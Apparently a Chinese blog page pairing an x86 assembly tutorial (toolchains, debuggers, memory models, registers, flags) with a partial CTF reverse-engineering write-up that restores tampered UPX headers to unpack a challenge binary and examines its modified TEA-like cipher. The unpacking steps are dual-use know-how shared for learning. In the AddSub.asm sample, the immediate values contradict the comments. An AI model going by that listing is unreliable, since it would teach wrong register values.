x86 架构以 1978 年的 Intel 8086 处理器为开端，覆盖 Intel 从 16 位到 64 位的处理器。由于汇编语言非常依赖硬件，因此当前将 x86 汇编语言分为 IA-32 (x86-32) 和 x86-64 两种¹，而 16 位版本已经不常见了。

2. 从 C 语言认知汇编#

Warning

本节假设读者已经有 C 语言基础

你说读不懂汇编？没关系，我们就没想在这里就教会你汇编。第 2、3 节主要是将你从 C/C++ 引向纯汇编。随着深入学习，你就可以语义化地理解这些程序。

前文说过，源文件经由汇编器得到目标文件，里面就存放着我们想看到的汇编代码。

如果你的网络条件较好，那么有一个很好的在线编译器平台 Compiler Explorer。该平台提供了丰富的编译器选择，有助于学习和比较编译器对源码的编译方式。

如果你需要本地查看汇编，就要让构建工具生成目标文件。对于 GCC，输入：

Terminal window

1
gcc –c example.c # -c 表示仅编译不链接

在当前目录下生成 example.o。此时的 example.o 不能直接查看，需要使用 objdump：

Terminal window

1
objdump -h example.o # 查看文件段信息
2
objdump -s -d example.o # 输出段内容和汇编代码
3
objdump -s -d example.o > example.s # 将上面一条命令返回的结果保存到 example.s 中，可供直接查看

对于一个简单的 Hello World：

1
#include <stdio.h>
2

3
int main()
4
{
5
    printf("Hello World\n");
6
    return 0;
7
}

Compiler Explorer 在 x86_64 GCC 15.2 下的输出：

1
.LC0:
2
        .string "Hello World"
3
main:
4
        push    rbp
5
        mov     rbp, rsp
6
        mov     edi, OFFSET FLAT:.LC0
7
        call    puts
8
        mov     eax, 0
9
        pop     rbp
10
        ret

通过 objdump 输出的汇编：

1
hello.o：     文件格式 elf64-x86-64
2

3
Contents of section .text:
4
 0000 554889e5 bf000000 00e80000 0000b800  UH..............
5
 0010 0000005d c3                          ...].
6
Contents of section .rodata:
7
 0000 48656c6c 6f20576f 726c6400           Hello World.
8
Contents of section .comment:
9
 0000 00474343 3a202847 4e552920 31352e32  .GCC: (GNU) 15.2
10
 0010 2e312032 30323530 38303820 28526564  .1 20250808 (Red
11
 0020 20486174 2031352e 322e312d 312900     Hat 15.2.1-1).
12
Contents of section .note.gnu.property:
13
 0000 04000000 20000000 05000000 474e5500  .... .......GNU.
14
 0010 020001c0 04000000 01000000 00000000  ................
15
 0020 010001c0 04000000 01000000 00000000  ................
16
Contents of section .eh_frame:
17
 0000 14000000 00000000 017a5200 01781001  .........zR..x..
18
 0010 1b0c0708 90010000 1c000000 1c000000  ................
19
 0020 00000000 15000000 00410e10 8602430d  .........A....C.
20
 0030 06500c07 08000000                    .P......
21

22
Disassembly of section .text:
23

24
0000000000000000 <main>:
25
   0:  55                     push   %rbp
26
   1:  48 89 e5               mov    %rsp,%rbp
27
   4:  bf 00 00 00 00         mov    $0x0,%edi
28
   9:  e8 00 00 00 00         call   e <main+0xe>
29
   e:  b8 00 00 00 00         mov    $0x0,%eax
30
  13:  5d                     pop    %rbp
31
  14:  c3                     ret

展开收起

Note

objdump 输出的汇编中，由于没有经过链接过程，一些地址和函数加载是以占位符形式出现的，比如 $0x0 和 call e（下一行指令）

Compiler Explorer 输出的是 Intel 语法，而 objdump 默认输出 AT&T 语法。

课程使用 Intel 语法。使用 -M 选项可以控制 objdump 的输出格式：

Terminal window

1
objdump -s -d -M intel hello.o > hello.s # 以 intel 语法显示汇编指令

从 C 到汇编是另一个比较大的话题，涉及到编译原理。不过你也可以做一位肉编器 ;) 一些汇编课程也确实这么做了，给定 C 代码，要求用汇编重实现。

3. 汇编语言本地开发环境搭建#

如果不追求完全的汇编环境的话，可以直接使用 C/C++ 的内联汇编。

Assembly Environment Setup 记载了这位作者的开发环境搭建方案。

3.1 使用 Visual Studio 的 MASM#

从 6.15 版本开始，MASM 被整合入微软的 C/C++ SDK 中。换句话说，现在的 Visual Studio 已经集成 MASM。使用 Visual Studio 的参考 Visual Studio 2022配置汇编语言环境，使用此程序看看是否能跑成功：

1
.586
2
.model flat, stdcall
3
option casemap:none
4

5
.data
6

7
.code
8
  main proc
9

10
    ret
11

12
main endp
13

14
end

在 VS 上的调试体验和你对 C/C++ 代码的调试体验差不多。

说实话，Assembly Language for x86 Processors 至少在十几年前就在使用这套环境并与时俱进，而我们在 2026 年还得用 2000 年的工具链呢！

3.2 使用独立版本的 MASM#

对于独立版本的 MASM，6.15 版本可于 yumyumyum/MASM 获取（这应该是旧版 Assembly Language for x86 Processors 的附件，所以有示例程序。这也是课程所用的附件，偷懒！）

记得把 make32.bat 里标着“The following lines can be customized for your system”的条目改成你的安装路径。

用 make32 尝试生成可执行文件，例如运行 make32 AddSub.asm

1
TITLE Add and Subtract              (AddSub.asm)
2

3
; This program adds and subtracts 32-bit integers.
4
; Last update: 2/1/02
5

6
INCLUDE Irvine32.inc
7

8
.code
9
main PROC
10

11
  mov eax,30000h    ; EAX = 10000h
12
  add eax,80000h    ; EAX = 50000h
13
  sub eax,20000h    ; EAX = 30000h
14
  call DumpRegs
15

16
  exit
17
main ENDP
18
END main

我查了一下才发现原来 Irvine32.inc 就是 Assembly Language for x86 Processors 作者写的汇编语言库（

3.3 使用 SASM + NASM#

也有一个类似于 Dev-C++ 的轻量 IDE——SASM。它具有语法突出显示和调试器，且开箱即用，适合初学者学习汇编语言。

NASM 是基于 Linux 的跨平台汇编器。它的语法和 MASM 最相似，因此在此一并提及，但是不会深入使用。

SASM 附带一组汇编示例。例如，这是 NASM 汇编器的 Hello World：

1
section .data
2
    msg db 'Hello, world!', 0
3

4
section .text
5
extern io_print_string, io_newline
6
global main
7
main:
8
    mov ebp, esp ; for correct debugging
9
    mov eax, msg ; place pointer to hello world message to eax
10
    call io_print_string ; print hello world
11
    call io_newline ; print newline
12
    xor eax, eax ; set eax to 0
13
    ret ; return

在继续之前，我们需要重申：汇编语言非常依赖于特定软硬件平台。在参考其他教程时，请先查看它用了什么汇编器。

本文将采用 MASM，以和本校课程同步。

3.4 汇编程序的调试#

在 Windows 端，我们有一些强大的 GUI 调试器。除了使用 VS 的调试功能，对于使用独立版本 MASM 的同学，我们还有 Ollydbg 和 x64dbg 可以选择。

Ollydbg 和我们使用的 MASM 版本是同一时期的，社区资源非常丰富，积攒了许多优秀的脚本和插件。但 2014 年 Ollydbg 停更，停留在了 32 位时代。

之后 x64dbg 作为继任者崭露头角。它和 Ollydbg 的最大不同就是 x64dbg 开源，同时支持 x86 和 x86_64。x64dbg 的界面更加现代，但社区支持相比 Ollydbg 略显不足，这是资历带来的限制。

作者更喜欢 x64dbg，不过课程使用的是 Ollydbg。好在对于正向调试而言，两者都可堪此任。

使用这些调试器调试程序时，调试器高亮的指令表示调试器将要执行此指令。

Ollydbg 会直接运行到我们的代码。而 x86dbg 默认自动在系统 DLL 的入口处设置断点，为了尽快达到 OEP（程序入口点），可以使用它的“运行到用户代码”。

接下来是两个重要的调试方式：步进 (Step into) 和步过 (Step over)。两者的区别在于 CALL 的时候是否进入所调用的函数。

如果误入了本来不想步近的函数，可以使用“运行到返回”，调试器将运行到最近的可达 ret。

调试过程中，调试器会实时展示程序控制流、寄存器、内存变化情况。

4. x86 汇编的硬件基础#

由于汇编语言允许更直接地与机器交流，因此我们需要非常熟悉计算机硬件。

4.1 基本微计算机架构#

一个基本的计算机应包含：

CPU：算数与逻辑单元，包含：
- 控制器 (CU)，协调指令执行
- 运算器 (ALU)，执行算数和逻辑运算
存储器：存放程序和数据。从快到慢分级为寄存器、缓存、内存、硬盘
外部设备：输入和输出设备
总线 (bus)：实现各部件间的数据交换。

冯-诺伊曼架构

4.2 加载-存储架构#

现代 CPU 的运行速度非常快，因此它希望存储设备的速度也可以跟上。在分级存储架构下，寄存器是最快的存储器。因此，硬件设计者是希望数据尽可能地由寄存器处理的。

加载-存储 (Load-Store) 架构是现代 CPU 设计中最核心、最基础的概念之一。在这种架构中，CPU 只能通过两种特定的指令来访问主内存：

加载指令：将数据从内存复制到 CPU 内部的寄存器中。
存储指令：将数据从 CPU 内部的寄存器复制到内存中。

最关键的限制是，所有算术运算（如 ADD、SUB、MUL）和逻辑运算（如 AND、OR、XOR）指令的操作数必须且只能来自寄存器，运算结果也只能写回寄存器。不能直接对内存中的数据进行运算。

加载-存储架构主要用于 ARM、MIPS、RISC-V 等 RISC 架构中，速度快、指令简单、容易优化。

在 x86 等 CISC 架构中，存在一些指令可以直接操作内存，这被称为寄存器-内存 (Register–Memory) 架构。例如 ADD [0x1000], AX 可以直接将寄存器 AX 中的值加到内存地址 0x1000 处的数据上。但在硬件底层实际上是将这种复杂指令解码并分解成多个微操作，其中就包括加载、存储和运算等简单操作。所以，在硬件执行层面，现代 x86 CPU 也遵循着加载-存储架构的思想。

在寄存器-内存架构中，指令的一些操作数可能在内存中，而其他一些在寄存器中。而加载-存储架构的操作数都必须先在指令之前出现在寄存器中。

寄存器-内存架构不允许操作数全部在内存中。x86 的指令虽然确实有支持内存-内存的，但十分少见；而更激进的寄存器加内存 (Register plus Memory) 架构现在也更少见了。即使是那些在单条指令中实现内存-内存操作的较少见 CPU 也被迫将指令实现为多个内存周期——一个内存周期用于读取，第二个内存周期用于写入——效率上并不会比加载-存储架构更快

可以看看 StackOverflow 的讨论：Are there memory-memory instructions?

4.3 x86 处理器的执行环境#

这里只讲 x86 处理器两种主要的存储模型：平展内存模型 (Flat Memory Model) 和段式内存模型 (Segement Memory Model)

段式内存模型将存储器视为一组相互独立的地址空间集合，即内存段 (Segement)。程序的静态数据、代码和堆栈会分配到不同的段。对于 32 位处理器，每个段的最大寻址大小为 4GB (00000000H ~ FFFFFFFFH)。

平展内存模型将存储器视为一个连续的地址空间（即一个大段），程序的静态数据、代码和堆栈都包含在这个地址空间中，称为线性地址 (Linear Address)。

为了明确允许使用的指令和存储模型，x86 处理器提供三个操作模式：保护模式 (Protected Mode)、实地址模式 (Real-Address Mode) 和系统管理模式 (System Management Mode)。

早期处理器默认使用实地址模式。由于 CPU 寻址限制加上当时内存价格高昂，同一时间只能运行一个进程，一个进程占用 1MB 内存。程序可以直接访问物理地址，因此需要直接访问系统内存或硬件设备时，该模式会非常有用，但也容易导致软件甚至硬件问题。实地址模式可以切换到其他模式。现代机器一般在开机时先进入实模式，等待操作系统准备好了之后，再进入保护模式。

之后处理器默认使用保护模式。处理器为每个进程都分配了最多 4GB 的保留地址，实现了多任务处理。保护模式下，程序无法直接访问物理地址，而必须经过操作系统的处理，从而阻止程序非法访问其他进程的内存，因此得名“保护模式”。

在实模式中，段内存是连续分配的，段和段之间紧靠在一起；在保护模式中，段可以分散分配，程序员不知道、也没法控制段分配到哪个地址上。

保护模式实现了特权管理，设置了 0 ~ 3 共 4 个特权层 (Privilege Level)。系统核心程序、操作系统、其他系统软件和用户软件可以根据需要分别处于不同的特权层并受保护。

系统管理模式为操作系统提供实现诸如电源管理与系统安全等机制。

无论是哪种操作模式或存储模型，程序员都使用逻辑地址进行程序设计。逻辑地址由段基地址 (Base) + 偏移地址 (Offset) 组成，在 MASM 中表示为 Base:Offset。段基地址存储在段寄存器中（见 6.3）。由于段基地址不同，一个存储单元可以有多个逻辑地址，但物理地址是唯一确定的。

4.4 x86 处理器的内存管理#

这一节我真的查资料查疯了，我甚至都不敢明确这些资料所描述的“平展”、“分段/分页”概念是不是一样的 XwX 就这样吧，我什么时候有了新的清晰的认知再说

段基地址加上偏移地址就形成了线性地址，理论上这个线性地址就是物理地址。这是段式存储和实模式下的定义。段在物理内存中堆叠，就像 C 中的数组一样。段内内存连续，段间地址也连续。由于缺乏保护机制，一旦段基地址/偏移地址出现差错，就很容易访问到其他段上去。

分段分为固定段长和不固定段长。不论哪种，只要程序所占的内存不够整数倍段空间，就很可能出现内存的“空隙”。这部分内存的大小或许很多，但就是分配不了。这就是内存的碎片化。固定段长段内出现的碎片化称为内部碎片化 (Internal Fragmetation)，不固定段长段间出现的碎片化称为外部碎片化 (External Framentation)

随着程序规模的增大，一个物理段可能无法容纳所有属于此段的数据，因此需要更多的物理段，每个段都需要指定段基地址和偏移地址。而像文字处理软件，总有数据正好处于物理段的边界，增删就会涉及数据的段间移动，这是很耗时的。

Windows 等操作系统采用了分页 (Paging) 功能，使得程序可以使用比物理内存更大的线性内存空间，并且可以减少内存的碎片化。由于线性地址空间和物理地址分离，需要再将这个线性地址页转换 (Page Translation) 成真正的物理地址。

分页

程序的局部性原理 (Principle of Locality) 是指在程序执行期间，数据和指令往往会以某种模式集中在某些特定的区域进行访问，而不是均匀分布在整个存储空间中。局部性原理有两个主要方面：时间局部性和空间局部性。

时间局部性 (Temporal Locality) 指的是一个数据项在一段时间内可能被多次访问。
空间局部性 (Spatial Locality) 指的是一个数据项被访问后，与它相邻的数据项也很可能在不久的将来被访问。

基于这个原理，处理器初始只需要将一部分程序加载到内存，而其他部分可以留在硬盘上。程序使用的线性内存被分割成若干小区域，称为页 (Page)，大小必须为 2 的幂，一般在 4KB，对应到物理内存中有相同大小的页框 (Frame)。这些页使用页目录和页表维护，将页分配到页框。程序运行时，处理器会替换掉不活跃的页，将会被请求的页加载到内存中。

当程序试图访问线性地址空间内的一个地址时，处理器会将线性地址转换为物理地址，这个过程就是页转换。如果这个地址对应的页不在内存中，处理器会中断程序并产生一个页故障 (Page Fault)，之后将所请求的页从硬盘复制到内存，程序继续运行。

现在打开你的任务管理器，转到“内存”分项。其中的“已提交”就是你设备的总虚拟内存，可见它是大于物理内存的。

现在的操作系统更多是两者综合利用，即段页式内存管理：面向用户程序仍采用分段形式，而在处理内存数据时使用分页形式。

现代操作系统将所有段的基址和大小都设为相同的，这样所有段是重叠在一起的，便于索引。故平展内存模型是在段式存储模型的基础上发展而成的。

5. 数据存储于内存之中#

在此不再赘述数制和码制的内容——你应该去看看数电和 C 语言的那些文章

在 x86 计算机中，所有数据存储的基本单位都是字节 (byte)，其他单位还有字 (word)、双字 (doubleword) 和四字 (quadword)。一个字等于两个字节，即 16 bits。

数据宽度在汇编中是非常重要的。一些常用指令对所接收数据的宽度有要求，而不注意宽度有时会导致内存值被意外读取/更改

字节、字和字长

1 个字节对应两位十六进制数字（因为 4 bit 最多表示 16 种状态）

“在计算机中，一个字是特定处理器设计所使用的自然数据单元。字是处理器指令集或硬件作为一个单元处理的固定大小数据。处理器中的大多数寄存器通常是字大小的，并且在许多架构中，单次操作中可以传输到和从工作内存传输的最大数据量是一个字。然而，最大的可能地址大小，通常是硬件字（这里的“硬件字”指处理器的全尺寸自然字，而非其他定义）

……但市场压力在于在扩展处理器能力的同时，保持向后兼容性。因此，在新设计中的 CPU 字长，必须作为原始字长的替代尺寸以共存。……另一个例子是 x86 系列，该系列已发布三种不同字长的处理器（16 位，后来的 32 位和 64 位），而 WORD 仍然表示为 16 位……尽管 Windows API 可以在 32 位或 64 位的 x86 处理器上使用，但它仍然坚持将 WORD 在编程语言中定义为 16 位宽度，即使在 32 位或 64 位的 x86 处理器上，标准字长分别是 32 位或 64 位。包含这种不同大小字长的数据结构将它们称为：

WORD（16 位/ 2 字节）
DWORD（32 位/ 4 字节）
QWORD（64 位/ 8 字节）

英特尔的 x86 汇编语言也出现了类似的现象——由于指令集中支持表示各种大小，一些指令助记符带有 d 或 q 标识符，表示“双”和“四”，这是根据架构的原始 16 位字大小确定的。” ——Word (computer architecture) explained

“这不是设计。这是历史。”——Charles E. Leiserson from MIT 6.172

根据 IA-32 架构软件开发手册，x86 机器以“小端序”(little endian) 存储数据。这意味着，对于一串连续字节，在内存中是从地址较小的那个字节（最低有效字节，LSB）开始存储和读取的。

例如，在内存地址 0x100 处存储一个 32 位（双字）的数据 0x12345678。根据小端序规则，它在内存中的实际存放方式为：

地址 0x100 存放最低有效字节 0x78
地址 0x101 存放 0x56
地址 0x102 存放 0x34
地址 0x103 存放最高有效字节 0x12

读取时也从 0x100 开始读取，因此你查看内存时，会看到数据显示为 0x78563412，但实际应为 0x12345678

6. 寄存器#

寄存器 (register) 是 CPU 内部用来存储指令、数据和地址的存储器，在计算机的存储器体系中处于最高层次。寄存器的存储容量有限，但读写速度非常快。一般认为，访问寄存器中的数据不需要时间，是存储计算临时数据的绝佳位置。大多数寄存器都有特殊用途。

现代 CPU 有很多寄存器，我们主要了解这些种类：通用寄存器 (general purpose register)、指令指针寄存器 (instruction pointer)、段寄存器 (segement register) 和标志寄存器 (FLAGS)。前两种种寄存器长度为当前架构的字长，即 64 bits、32 bits 及 16 bits，而段寄存器和标志寄存器的长度固定为 16 bits。

我们建议，仅使用通用寄存器存储数据，因为其他类型的寄存器都是由处理器自动处理数值的。

6.1 通用寄存器#

现代 CPU 有 16 个通用寄存器，前 8 个是最常用的：

64 位	32 位	16 位	16 位中的高 8 位	16 位中的低 8 位	描述
RAX	EAX	AX	AH	AL	主寄存器/累加器 (Accumulator)
RBX	EBX	BX	BH	BL	基址寄存器 (Base address)
RCX	ECX	CX	CH	CL	计数寄存器 (Counter)
RDX	EDX	DX	DH	DL	数据寄存器 (Data)
RSI	ESI	SI	-	SIL	源索引寄存器 (Source Index)
RDI	EDI	DI	-	DIL	目标索引寄存器 (Destination Index)
RSP	ESP	SP	-	SPL	堆栈指针寄存器 (Stack Pointer)
RBP	EBP	BP	-	BPL	基址指针寄存器 (Base Pointer)
R8	R8D	R8W	-	R8B	通用
R9	R9D	R9W	-	R9B	通用
R10	R10D	R10W	-	R10B	通用
R11	R11D	R11W	-	R11B	通用
R12	R12D	R12W	-	R12B	通用
R13	R13D	R13W	-	R13B	通用
R14	R14D	R14W	-	R14B	通用
R15	R15D	R15W	-	R15B	通用

Note

AX、BX、CX、DX 虽然是 16 位寄存器，但也可以拆成两个 8 位寄存器使用，因为这四个通用寄存器本来就是两个独立的 8 位寄存器拼起来得到的。两个 8 位存储器中的 “H” 或 “L” 分别表示这个寄存器处于内存中的高位或低位。

6.2 指令指针寄存器#

IP 寄存器指向下一条将要执行的指令（内存位置），一旦处理器执行完一条指令，则自动增加这条指令的字节长度，以实现指令的顺序执行。IP 寄存器需要通过控制转移指令或者出现中断和异常后由处理器更改数值，而非直接赋值。

64-bit	32-bit	16-bit
RIP	EIP	IP

6.3 段寄存器#

名称	描述
CS	代码段 (Code Segement) 寄存器，指向包含当前程序的段地址。
DS	数据段 (Data Segement) 寄存器，通常指向包含变量定义的段地址。
SS	堆栈段 (Stack Segement) 寄存器，指向包含堆栈的段地址。
ES	附加段 (Extra Segement) 寄存器（用于字符串操作）
FS	通用段寄存器，同数据段
GS	通用段寄存器，同数据段

总结起来，段寄存器都有一个目的——指向可访问的内存块。段寄存器加上一个 32 位的偏移量就是逻辑地址。

对于一般的程序员，其实不需要关注段寄存器，因为用户程序不会去修改它们。但它们包含了对内存段的直接引用。

6.4 标志寄存器#

标志寄存器通常反映算术运算的结果以及有关当前时间对 CPU 作施加的限制的信息。用户程序不能直接修改标志寄存器，而应由 CPU 通过特殊指令修改或响应标志寄存器的值。

标志寄存器是按位起作用的，也就是说，它的每一位都有专门的含义，记录特定的信息。

CPU 标志寄存器的结构：

1
... 15  14  13  12  11  10  09  08  07  06  05  04  03  02  01  00
2

3
                    OF  DF  IF  TF  SF  ZF      AF      PF      CF

CF 标志进位、借位标志位 (Carry Flag)。在进行无符号数运算的时候，它记录了运算结果的最高有效位向更高位的进位值，或从更高位的借位值。
PF 标志奇偶标志位 (Parity Flag)。记录相关指令执行后，其结果的所有 bit 位中 1 的个数是否为偶数。如果为偶数，PF = 1；如果为奇数，那么 PF = 0。
AF 标志辅助进位标志位 (Auxiliary Carry Flag)。记录在四个最低有效位或低四位中是否产生了进位或借位。它主要用于二进制编码的十进制 (BCD) 算术。
ZF 标志零标志位 (Zero Flag)。记录相关指令执行后，其结果是否为 0。如果结果为 0，那么 ZF = 1；如果结果不为 0，那么 ZF = 0。
SF 标志符号标志位 (Sign Flag)。在进行有符号数运算的时候，它记录相关指令执行后，其结果是否为负。如果结果为负，SF = 1；如果非负，SF = 0。
TF 标志自陷标志位 (Trap Flag)。如果此标志可用，调试器可以使用它来逐步执行计算机程序。CPU 在执行完一条指令后，如果检测到标志寄存器的 TF 位为 1，则会产生一个 type-1 中断，然后再将 TF 置为 0，后进行 type-1 中断后继续执行。 8086 CPU 没有直接设置或重置自陷标志位的指令。这些操作可以通过将标志寄存器的内容压入堆栈，改变内存内容以设置或重置自陷标志，并将内存内容弹出堆栈以保存回标志寄存器来完成。用到的指令是 pushf 和 popf。
IF 标志中断标志位 (Interrupt Flag)。用于确定 CPU 是否将立即响应可屏蔽硬件中断。如果标志设置为 1 ，则中断被启用。如果清除（设置为 0 ），则中断被禁用。
DF 标志方向标志位 (Direction Flag)。此标志用于确定将数据从内存的一个位置复制到另一个位置的方向（正向或反向）。如果设置为 0（使用清除方向标志指令 CLD），则表示从最低地址到最高地址处理数据。这种指令模式称为自动递增模式。如果设置为 1（使用设置方向标志指令 STD），则表示从最高地址到最低地址处理数据。这称为自动递减模式。
OF 标志溢出标志位 (Overflow Flag)。对于有符号数运算，运算结果超出补码表示范围（8 位：-128~+127，16 位：-32768~+32767）就是溢出。若溢出，OF 置1，否则 OF 清 0。

这些标志是基本标志，其他标志等待后续学习~

ACTF 提供的 x86 汇编入门文件，包含文件内注释指导和课后作业 asm_tour_1

Footnotes#

你也许还听说有 AMD64、Intel 64 和 IA-64 。首先，AMD64 就是 x86-64，Intel 64 是对 AMD64 的兼容，也可以视作属于 x86-64；其次，IA-64 是 Intel 推出的仅 64 位指令集，但没有流行开来。 ↩

如何解决魔改后的加密算法

Wed, 05 Mar 2025 22:04:11 GMT

题目来源：LockedSecret from GHCTF 2025 新生赛（公开赛道）官方 WP：GHCTF2025WP - Liv’s blog

出题人的提示

Reverse - LockedSecret Hint1: 如果加密函数 IDA 伪代码太乱看不懂，请尝试 Ghidra，或许能帮助你分析算法解出 Flag。 Ghidra 些许情况对比 IDA 有奇效。

用 DIE 查一下壳：

发现用了 UPX 壳（注意这里的 [modified]）

脱壳#

尝试使用 upx -d 直接脱壳，发现不行：

Terminal window

1
upx: .\LockedSecret.exe: CantUnpackException: file is modified/hacked/protected; take care!!!

Tip

对于 UPX 壳，大部分情况下应使用 upx -d 脱壳。

这下不知道怎么办了吧，哈哈！

后面查了一下报错信息，得到的答案是：程序的 UPX 特征被篡改过，导致 UPX 不敢直接脱壳。此时需要恢复程序的 UPX 特征。

为什么要修改 UPX 特征

UPX0 和 UPX1 是加 UPX 壳后的两个区段名。其中 UPX1 区段包含了需要解压的数据块。.rsrc 是程序资源信息区段名，这个区段含有原资源段的完整头部以及图标、Manifest、版本等未被压缩的资源，当然还有 UPX 自身需要的导入信息等（如果程序自身不含资源段，加壳后就是 UPX2）。UPX0 和 UPX1 可以被随意改成任何字符串，虽然这样改用处不大，但是也能起到伪装的作用。

——手动去upx特征 - whatday

用任意十六进制编辑器打开程序（我使用 ImHex）：

发现 .rsrc 段，那么 LIVV 就是修改后的 UPX 特征。

参考了几个遇到相似问题的文章，发现只需要将 LIVV 的前三个字母 LIV 改成 UPX 即可。

Warning

注意查一下字符串，下面还有 LIV。要把所有的 LIV 都替换成 UPX。

保存结果，再次使用 upx -d，发现成功脱壳。

解密#

将脱壳后的程序拖进 IDA：

1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
  char v4; // [esp+0h] [ebp-108h]
4
  char v5; // [esp+0h] [ebp-108h]
5
  int i; // [esp+0h] [ebp-108h]
6
  char input[256]; // [esp+4h] [ebp-104h] BYREF
7

8
  memset(input, 0, sizeof(input));
9
  printf("Input your flag:", v4);
10
  scanf("%32s", (char)input);
11
  if ( strlen(input) != 32 )
12
  {
13
    printf("Wrong length!\n", v5);
14
    system("pause");
15
    exit(0);
16
  }
17
  sub_401100();
18
  sub_401190(input);
19
  for ( i = 0; i < 32; ++i )
20
  {
21
    if ( flag[i] != input[i] )
22
    {
23
      printf("Wrong!\n", i);
24
      system("pause");
25
      exit(0);
26
    }
27
  }
28
  printf("Right!\n", i);
29
  system("pause");
30
  return 0;
31
}

展开收起

（重命名了部分函数和对象）

尝试用 Findcrypt 查一下加密算法，结果是空的！这就不好玩了。

然后看一下 sub_401100：

1
int sub_401100()
2
{
3
  int i; // [esp+0h] [ebp-4h]
4

5
  srand(3246389708u);
6
  for ( i = 0; i < 8; ++i )
7
  {
8
    if ( i )
9
      dword_4043D8[i] = dword_4043D4[i] ^ rand();
10
    else
11
      dword_4043D8[0] = rand();
12
    dword_4043D8[i] %= 256;
13
  }
14
  return 0;
15
}

该函数利用伪随机初始化一个全局数组。

伪随机简介

这里的伪随机 (Pseudo-random) 是统计学意义上的：在给定的随机比特流样本中，1 的数量大致等于 0 的数量，满足这类要求的数字“一眼看上去”是随机的。

对于随机数的使用，一般是先播种，然后使用伪随机数函数来获取随机数。不播种会使用默认的种子。这种通过伪随机数函数得到的随机数，就是伪随机数，只要种子固定那么每次生成的随机数序列就会一样。

C 语言中的 srand、rand，C++ 的 mt19937、default_random_engine 等都是伪随机数函数。

具体到本例，第 5 行的 srand 负责伪随机数的初始化，即播种（IDA View 也给 3246389708 标注了 seed 注释）。之后的 rand 生成伪随机数。

请注意，C 的 rand 函数默认以 srand(1) 为种子生成伪随机数。在同一种子下，rand 生成的伪随机数列相同。由于标准做法¹不允许多次更换种子，因此只要知道了一个种子值，那么该程序下所有 rand 函数生成的伪随机数列均相同。Python 的 random 库也提供了这样的 rand 和 seed 函数。

（参考伪随机数问题浅析 - 天工实验室）

再往下面看：

1
int __cdecl sub_401190(int a1)
2
{
3
  unsigned int v1; // ecx
4
  unsigned int v2; // eax
5
  int result; // eax
6
  int v4; // [esp+0h] [ebp-7Ch]
7
  unsigned int v5; // [esp+4h] [ebp-78h]
8
  unsigned int v6; // [esp+14h] [ebp-68h]
9
  unsigned int v7; // [esp+18h] [ebp-64h]
10
  unsigned int v8; // [esp+1Ch] [ebp-60h]
11
  unsigned int v9; // [esp+20h] [ebp-5Ch]
12
  unsigned int v10; // [esp+24h] [ebp-58h]
13
  unsigned int v11; // [esp+28h] [ebp-54h]
14
  unsigned int v12; // [esp+30h] [ebp-4Ch]
15
  unsigned int v13; // [esp+38h] [ebp-44h]
16
  unsigned int v14; // [esp+3Ch] [ebp-40h]
17
  unsigned int v15; // [esp+40h] [ebp-3Ch]
18
  unsigned int v16; // [esp+44h] [ebp-38h]
19
  unsigned int v17; // [esp+48h] [ebp-34h]
20
  int i; // [esp+4Ch] [ebp-30h]
21
  int v19; // [esp+50h] [ebp-2Ch]
22
  int v20[4]; // [esp+54h] [ebp-28h] BYREF
23
  int Src[5]; // [esp+64h] [ebp-18h] BYREF
24

25
  strcpy((char *)Src, "IamTheKeyYouKnow");
26
  for ( i = 0; i < 15; ++i )
27
    *((_BYTE *)Src + i) ^= LOBYTE(dword_4043D8[i % 8]);
28
  memcpy(v20, Src, sizeof(v20));
29
  v19 = 4;
30
  do
31
  {
32
    v17 = *(_DWORD *)(a1 + 8 * (4 - v19) + 4);
33
    v16 = *(_DWORD *)(a1 + 8 * (4 - v19)) + ((v20[1] + (v17 >> 5)) ^ (v17 + 1579382783) ^ (v20[0] + 16 * v17));
34
    v15 = v17 + ((v20[3] + (v16 >> 5)) ^ (v16 + 1579382783) ^ (v20[2] + 16 * v16));
35
    v14 = v16 + ((v20[1] + (v15 >> 5)) ^ (v15 - 1136201730) ^ (v20[0] + 16 * v15));
36
    v13 = v15 + ((v20[3] + (v14 >> 5)) ^ (v14 - 1136201730) ^ (v20[2] + 16 * v14));
37
    v12 = v13
38
        + ((v20[3] + ((v14 + ((v20[1] + (v13 >> 5)) ^ (v13 + 443181053) ^ (v20[0] + 16 * v13))) >> 5)) ^ (v14 + ((v20[1] + (v13 >> 5)) ^ (v13 + 443181053) ^ (v20[0] + 16 * v13)) + 443181053) ^ (v20[2] + 16 * (v14 + ((v20[1] + (v13 >> 5)) ^ (v13 + 443181053) ^ (v20[0] + 16 * v13)))));
39
    v1 = v14
40
       + ((v20[1] + (v13 >> 5)) ^ (v13 + 443181053) ^ (v20[0] + 16 * v13))
41
       + ((v20[1] + (v12 >> 5)) ^ (v12 + 2022563836) ^ (v20[0] + 16 * v12));
42
    v11 = v12 + ((v20[3] + (v1 >> 5)) ^ (v1 + 2022563836) ^ (v20[2] + 16 * v1));
43
    v10 = v1 + ((v20[1] + (v11 >> 5)) ^ (v11 - 693020677) ^ (v20[0] + 16 * v11));
44
    v9 = v11 + ((v20[3] + (v10 >> 5)) ^ (v10 - 693020677) ^ (v20[2] + 16 * v10));
45
    v8 = v10 + ((v20[1] + (v9 >> 5)) ^ (v9 + 886362106) ^ (v20[0] + 16 * v9));
46
    v7 = v9 + ((v20[3] + (v8 >> 5)) ^ (v8 + 886362106) ^ (v20[2] + 16 * v8));
47
    v6 = v8 + ((v20[1] + (v7 >> 5)) ^ (v7 - 1829222407) ^ (v20[0] + 16 * v7));
48
    v2 = v7 + ((v20[3] + (v6 >> 5)) ^ (v6 - 1829222407) ^ (v20[2] + 16 * v6));
49
    v5 = v2
50
       + ((v20[3] + ((v6 + ((v20[1] + (v2 >> 5)) ^ (v2 - 249839624) ^ (v20[0] + 16 * v2))) >> 5)) ^ (v6 + ((v20[1] + (v2 >> 5)) ^ (v2 - 249839624) ^ (v20[0] + 16 * v2)) - 249839624) ^ (v20[2] + 16 * (v6 + ((v20[1] + (v2 >> 5)) ^ (v2 - 249839624) ^ (v20[0] + 16 * v2)))));
51
    *(_DWORD *)(a1 + 8 * (4 - v19)) = (v6 + ((v20[1] + (v2 >> 5)) ^ (v2 - 249839624) ^ (v20[0] + 16 * v2))) ^ 0xF;
52
    *(_DWORD *)(a1 + 8 * (4 - v19) + 4) = v5 ^ 0xF;
53
    v4 = v19;
54
    result = --v19;
55
  }
56
  while ( v4 );
57
  return result;
58
}

展开收起

被逆向气晕（

